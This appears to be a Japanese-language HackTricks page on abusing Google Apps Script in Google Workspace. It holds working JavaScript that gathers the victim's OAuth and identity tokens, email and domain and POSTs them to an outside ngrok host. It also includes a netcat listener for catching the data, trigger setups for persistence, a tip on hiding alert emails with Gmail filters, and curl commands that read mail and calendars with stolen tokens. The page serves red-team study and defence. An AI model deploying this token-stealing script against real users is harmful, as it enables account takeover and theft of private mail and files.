# GWS - App Scripts

{{#include ../../../banners/hacktricks-training.md}}

## App Scripts

App Scriptsは**ユーザーがApp Scriptにリンクされたドキュメントにエディタ権限でアクセスしたときにトリガーされるコード**であり、**OAuthプロンプトを受け入れた後**に実行されます。\
また、App Scriptの所有者によって**特定の時間ごとに実行されるように設定することもできます**（Persistence）。

### App Scriptの作成

App Scriptを作成する方法はいくつかありますが、最も一般的な方法は**Googleドキュメント（任意のタイプ）から**と**スタンドアロンプロジェクトとして**作成することです：

<details>

<summary>Google Docs、Sheets、またはSlidesからコンテナバウンドプロジェクトを作成する</summary>

1. Docsドキュメント、Sheetsスプレッドシート、またはSlidesプレゼンテーションを開きます。
2. **拡張機能** > **Google Apps Script**をクリックします。
3. スクリプトエディタで、**無題のプロジェクト**をクリックします。
4. プロジェクトに名前を付けて、**名前の変更**をクリックします。

</details>

<details>

<summary>スタンドアロンプロジェクトを作成する</summary>

Apps Scriptからスタンドアロンプロジェクトを作成するには：

1. [`script.google.com`](https://script.google.com/)に移動します。
2. **新しいプロジェクト**を追加します。
3. スクリプトエディタで、**無題のプロジェクト**をクリックします。
4. プロジェクトに名前を付けて、**名前の変更**をクリックします。

</details>

<details>

<summary>Google Driveからスタンドアロンプロジェクトを作成する</summary>

1. [Google Drive](https://drive.google.com/)を開きます。
2. **新規** > **その他** > **Google Apps Script**をクリックします。

</details>

<details>

<summary>Google Formsからコンテナバウンドプロジェクトを作成する</summary>

1. Google Formsでフォームを開きます。
2. その他 more_vert > **スクリプトエディタ**をクリックします。
3. スクリプトエディタで、**無題のプロジェクト**をクリックします。
4. プロジェクトに名前を付けて、**名前の変更**をクリックします。

</details>

<details>

<summary>claspコマンドラインツールを使用してスタンドアロンプロジェクトを作成する</summary>

`clasp`は、ターミナルからApps Scriptプロジェクトを作成、プル/プッシュ、デプロイするためのコマンドラインツールです。

詳細については、[Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp)を参照してください。

</details>

## App Scriptシナリオ <a href="#create-using-clasp" id="create-using-clasp"></a>

### App ScriptでGoogle Sheetを作成する

App Scriptを作成することから始めます。このシナリオに対する私の推奨は、Google Sheetを作成し、**`拡張機能 > App Scripts`**に移動することです。これにより、**シートにリンクされた新しいApp Scriptが開きます**。

### トークンの漏洩

OAuthトークンへのアクセスを提供するには、**`サービス +`をクリックし、次のようなスコープを追加する必要があります**：

- **AdminDirectory**: ディレクトリのユーザーとグループにアクセス（ユーザーに十分な権限がある場合）
- **Gmail**: Gmailデータにアクセス
- **Drive**: Driveデータにアクセス
- **Google Sheets API**: トリガーと連携するため

**必要なスコープ**を自分で変更するには、プロジェクト設定に移動し、**`エディタで "appsscript.json" マニフェストファイルを表示`を有効にします**。
```javascript
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()

// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}

// Send data
makePostRequest(data)

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)

// To ask for drive permissions
var files = DriveApp.getFiles()
}

function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"

var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}

try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
```
リクエストをキャプチャするには、次のコマンドを実行するだけです:
```bash
ngrok tcp 4444
nc -lv 4444 #macOS
```
App Scriptを実行するために要求される権限：

<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>

> [!WARNING]
> 外部リクエストが行われるため、OAuthプロンプトは**外部エンドポイントにアクセスするための権限を求めます**。

### トリガーの作成

アプリを読み込んだら、**⏰ トリガー**をクリックしてトリガーを作成します。**関数**として**`getToken`**を選択し、デプロイメントは**`Head`**、イベントソースは**`From spreadsheet`**、イベントタイプは**`On open`**または**`On edit`**（必要に応じて）を選択し、保存します。

デバッグしたい場合は、**実行タブでApp Scriptsの実行を確認できます**。

### 共有

**App Script**を**トリガー**するためには、被害者が**編集者アクセス**で接続する必要があります。

> [!TIP]
> **App Script**を実行するために使用される**トークン**は、**トリガーの作成者のもの**になります。他のユーザーが編集者としてファイルを開いても同様です。

### 共有されたドキュメントの悪用

> [!CAUTION]
> 誰かが**App Scriptsとトリガーを使用してApp ScriptのHeadを持つドキュメントをあなたと共有した場合**（固定デプロイメントではない）、App Scriptコードを変更（例えば、トークンを盗む関数を追加）し、アクセスすると、**App Scriptはドキュメントを共有したユーザーの権限で実行されます**！ （トリガーが作成されたときに与えられたアクセススコープを持つ所有者のOAuthトークンに注意してください）。
>
> **スクリプトの作成者に誰かがスクリプトを変更したことを示す通知が送信されます**（アラートを防ぐためにGmailの権限を使用してフィルターを生成するのはどうですか？）

> [!TIP]
> **攻撃者がApp Scriptのスコープを変更した場合**、更新は**新しいトリガー**が作成されるまでドキュメントに適用されません。したがって、攻撃者は、作成したトリガーで設定したスコープよりも多くのスコープを持つ所有者のトークンを盗むことはできません。

### 共有の代わりにコピー

ドキュメントを共有するためのリンクを作成すると、次のようなリンクが作成されます：`https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
**"/edit"**の部分を**"/copy"**に変更すると、Googleはアクセスするのではなく、**ドキュメントのコピーを生成するかどうかを尋ねます：**

<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>

ユーザーがそれをコピーしてアクセスすると、**ドキュメントの内容とApp Scriptsがコピーされます**が、**トリガーはコピーされないため、何も実行されません**。

### Webアプリケーションとしての共有

**App ScriptをWebアプリケーションとして共有することも可能です**（App ScriptのエディタでWebアプリケーションとしてデプロイします）が、次のようなアラートが表示されます：

<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>

その後、必要な権限を求める**典型的なOAuthプロンプト**が表示されます。

### テスト

収集したトークンを使用してメールをリストするには、次のコマンドをテストできます：
```bash
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
```
ユーザーのカレンダーをリストする:
```bash
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
```
## App Script as Persistence

持続性のための1つのオプションは、**ドキュメントを作成し、getToken**関数のトリガーを追加し、攻撃者とドキュメントを共有することです。これにより、攻撃者がファイルを開くたびに、**被害者のトークンを抽出します。**

また、App Scriptを作成し、X時間ごとにトリガーを設定することも可能です（例えば、毎分、毎時、毎日...）。**資格情報や被害者のセッションを侵害した攻撃者は、App Scriptの時間トリガーを設定し、非常に特権的なOAuthトークンを毎日漏洩させることができます**：

App Scriptを作成し、トリガーに移動し、トリガーを追加をクリックし、イベントソースとして時間駆動を選択し、あなたに最適なオプションを選択します：

<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>

> [!CAUTION]
> これにより、セキュリティアラートメールとモバイルへのプッシュメッセージが作成されます。

### Shared Document Unverified Prompt Bypass

さらに、誰かが**編集者アクセス**を持つドキュメントを**共有**した場合、ドキュメント内に**App Scriptsを生成**することができ、**ドキュメントの所有者（作成者）がApp Scriptの所有者になります**。

> [!WARNING]
> これは、**ドキュメントの作成者が、誰でも作成したApp Scriptの作成者として表示されることを意味します**。
>
> これはまた、**App Scriptがドキュメントの作成者のWorkspace環境によって信頼されることを意味します**。

> [!CAUTION]
> これはまた、**App Scriptがすでに存在していて、人々が**アクセスを許可している場合、**ドキュメントの**編集者**権限を持つ誰でも**それを**変更し、そのアクセスを悪用できることを意味します。**\
> これを悪用するには、App Scriptをトリガーする人々が必要です。そして、1つの便利なトリックは、**スクリプトをウェブアプリとして公開することです**。**アクセスを許可した人々**がウェブページにアクセスすると、**App Scriptをトリガーします**（これは`<img>`タグを使用しても機能します）。

{{#include ../../../banners/hacktricks-training.md}}
